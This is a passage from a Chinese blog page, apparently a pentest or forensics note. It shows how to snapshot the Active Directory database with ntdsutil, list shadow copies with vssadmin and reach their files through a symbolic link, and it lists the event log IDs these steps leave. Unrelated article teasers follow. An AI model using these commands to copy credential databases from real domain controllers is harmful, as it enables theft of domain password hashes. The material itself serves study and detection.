調用 Volume Shadow Copy 服務會產生日志文件,位于 System 下, Event ID 7036
執行 ntdsutil snapshot "activate instance ntds" create quit quit 會額外產生 Event ID
98 的日志文件
2. 訪問快照中的文件
查看快照列表:
vssadmin list shadows
無法直接訪問 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12 中的文件
可通過創建符號鏈接訪問快照中的文件:
mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\
刪除符號鏈接:
rd c:\testvsc

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/40743.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/40743.shtml
英文地址,請注明出處:http://en.pswp.cn/web/40743.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

常用字符集與亂碼原因

1.ASCII字符集&#xff1a;僅對英文字符編碼&#xff0c;每個字符用1B編碼&#xff0c;7位二進制足以表示所有ASCII字符集&#xff0c;因此最高位始終為0 2.GBK字符集&#xff1a;GB2312字符集&#xff08;簡體中文字符集&#xff09;BIG5字符集&#xff08;臺灣地區繁體中文字…

服裝購物商城系統小程序-計算機畢業設計源碼35058

摘要 服裝購物商城系統小程序&#xff0c;依托Spring Boot框架的強大支持&#xff0c;為用戶呈現了一個功能豐富、體驗流暢的在線購物平臺。該系統不僅涵蓋了商品展示、用戶注冊登錄、購物車管理、訂單處理、支付集成等核心購物流程&#xff0c;還引入了個性化推薦算法&#xf…

Jmeter使用JSON Extractor提取多個變量

1.當正則不好使時&#xff0c;用json extractor 2.提取多個值時&#xff0c;默認值必填&#xff0c;否則讀不到變量

什么是集港??貨代小白快來點贊收藏-深圳全球利物流有限公司

集港是什么意思? 集港的定義 集港是指將分散在各處的集裝箱集中到港口碼頭堆場的過程&#xff0c;即把各地的集裝箱匯集到港區&#xff0c;準備裝船。在船掛靠碼頭之前&#xff0c;碼頭會制定集港計劃&#xff0c;安排貨船的集裝箱在某個時間段內進入碼頭并擺放好&#xff0c;…

【js】this指向問題

1.首先先明確&#xff0c;this會出現在哪里。 this出現在全局作用域中&#xff0c;或函數作用域中&#xff08;普通函數、箭頭函數&#xff09;。 對象是不產生作用域的&#xff0c;對象的{}和函數的{}不一樣&#xff0c;this并不會直接出現在對象或類中&#xff0c;只會出現在…

Android SurfaceFlinger——屏幕狀態初始化(二十二)

對于開機啟動動畫前期準備的相關步驟,我們已經分析了前 5 個,對于第 6 步調用 eglGetDisplay() 函數對 OpenGL ES 初始化并獲取默認屏幕,我們在介紹 OpenGL ES 的時候也進行了詳細的分析,下一步我們我們來分析對屏幕的狀態進行初始化。 1)getInternalDisplayToken:獲取顯…

pycharm小游戲制作

以下是一個使用 Python 和 PyGame庫在 PyCharm中創建一個簡單的小游戲&#xff08;貪吃蛇游戲&#xff09;的示例代碼&#xff0c;希望對您有所幫助&#xff1a; import pygame import random# 基礎設置 # 屏幕高度 SCREEN_HEIGHT 480 # 屏幕寬度 SCREEN_WIDTH 600 # 小方格…

Java | Leetcode Java題解之第212題單詞搜索II

題目&#xff1a; 題解&#xff1a; class Solution {int[][] dirs {{1, 0}, {-1, 0}, {0, 1}, {0, -1}};public List<String> findWords(char[][] board, String[] words) {Trie trie new Trie();for (String word : words) {trie.insert(word);}Set<String> a…

VitePress美化

參考資料&#xff1a; https://blog.csdn.net/weixin_44803753/article/details/130903396 https://blog.csdn.net/qq_30678861/category_12467776.html 站點信息修改 首頁部分的修改基本都在.vitepress/config.mts,這個文件內修改。 title 站點名稱 description 描述 top…

運維團隊指南:完善監控指標與優化報警機制

隨著業務規模的不斷擴大和系統復雜度的日益增加&#xff0c;運維團隊面臨著前所未有的挑戰。為了保障系統的穩定性和高效運行&#xff0c;完善監控指標與優化報警機制成為了運維工作中的重中之重。本文將結合運維行業動態&#xff0c;就如何完善監控指標體系、優化報警機制等方…

RedHat運維-Linux SSH基礎3-sshd守護進程

1. sshd這個守護進程提供了OpenSSH服務&#xff0c;請問可以通過編輯哪些配置文件&#xff0c;來配置這個服務呢&#xff1f;________________________ 2. sshd這個守護進程提供了OpenSSH服務&#xff0c;請問可以通過編輯哪些配置文件&#xff0c;來配置這個服務呢&#xff1f…

Java springboot校園管理系統源碼

Java springboot校園管理系統源碼-014 下載地址&#xff1a;https://download.csdn.net/download/xiaohua1992/89364089 技術棧 運行環境&#xff1a;jdk8 tomcat9 mysql5.7 windows10 服務端技術&#xff1a;Spring Boot Mybatis VUE 使用說明 1.使用Navicati或者其它工…

怎么樣調整分類的閾值

調整分類模型的閾值是改變模型對正負類的預測標準的一種方法&#xff0c;常用于提高精確率、召回率或者其他性能指標。以下是如何調整分類閾值的步驟和方法&#xff1a; PS&#xff1a;閾值是針對預測概率&#xff08;表示樣本屬于某個特定類別的可能性&#xff09;來說的 調…

Midjourney 如何使用參考圖像來提升圖像的準確性和相似度?

????圖像提示 ?????♂? 您可以使用圖像作為提示的一部分來影響作業的構圖、樣式和顏色。圖像提示可以單獨使用,也可以與文本提示一起使用 - 嘗試組合具有不同樣式的圖像以獲得最令人興奮的結果。 ???實際圖像提示操作步驟 點擊加號按鈕,雙擊上傳文件,把小黃貓…

超級好用的java http請求工具

kong-http 基于okhttp封裝的輕量級http客戶端 使用方式 Maven <dependency><groupId>io.github.kongweiguang</groupId><artifactId>kong-http</artifactId><version>0.1</version> </dependency>Gradle implementation …

ePTFE膜(膨體聚四氟乙烯膜)應用前景廣闊 本土企業技術水平不斷提升

ePTFE膜&#xff08;膨體聚四氟乙烯膜&#xff09;應用前景廣闊 本土企業技術水平不斷提升 ePTFE膜全稱為膨體聚四氟乙烯膜&#xff0c;指以膨體聚四氟乙烯&#xff08;ePTFE&#xff09;為原材料制成的薄膜。ePTFE膜具有耐化學腐蝕、防水透氣性好、耐候性佳、耐磨、抗撕裂等優…

自然語言處理(NLP)—— 期末復習總

1. 結構主義方法The structural Approach 1.1 語素學Graphemics/音素學phonemics 音素phonemes、書面符號written signs、字符character。這一部分關注語言的最小聲音單位&#xff08;音素phonemes&#xff09;以及這些聲音如何通過書面符號written signs或字符character來表示…

如何做到高級Kotlin強化實戰?(二)

高級Kotlin強化實戰&#xff08;二&#xff09; 2.Kotlin 與 Java 比較 2.Kotlin 與 Java 比較 2.5 字符串拼接 //Java String firstName "Android"; String lastName "enginner"; String message "My name is: " firstName " "…

Web美食分享平臺的系統-計算機畢業設計源碼45429

基于Web美食分享平臺的系統設計與實現 摘 要 本研究基于Spring Boot框架&#xff0c;設計并實現了一個Web美食分享平臺&#xff0c;旨在為用戶提供一個交流分享美食體驗的社區平臺。該平臺涵蓋了用戶注冊登錄、美食制作方法分享發布、點贊評論互動等功能模塊&#xff0c;致力于…

3D Web輕量化平臺HOOPS Web Platform的功能與應用分析

隨著3D技術在多個行業的廣泛應用&#xff0c;對于3D模型輕量化的需求日益增長。HOOPS Web Platform作為一個先進的3D模型輕量化平臺&#xff0c;為開發人員提供了一整套工具來構建和部署基于Web的工程應用程序。本文將分析HOOPS Web Platform的核心功能和它在不同領域的應用情況…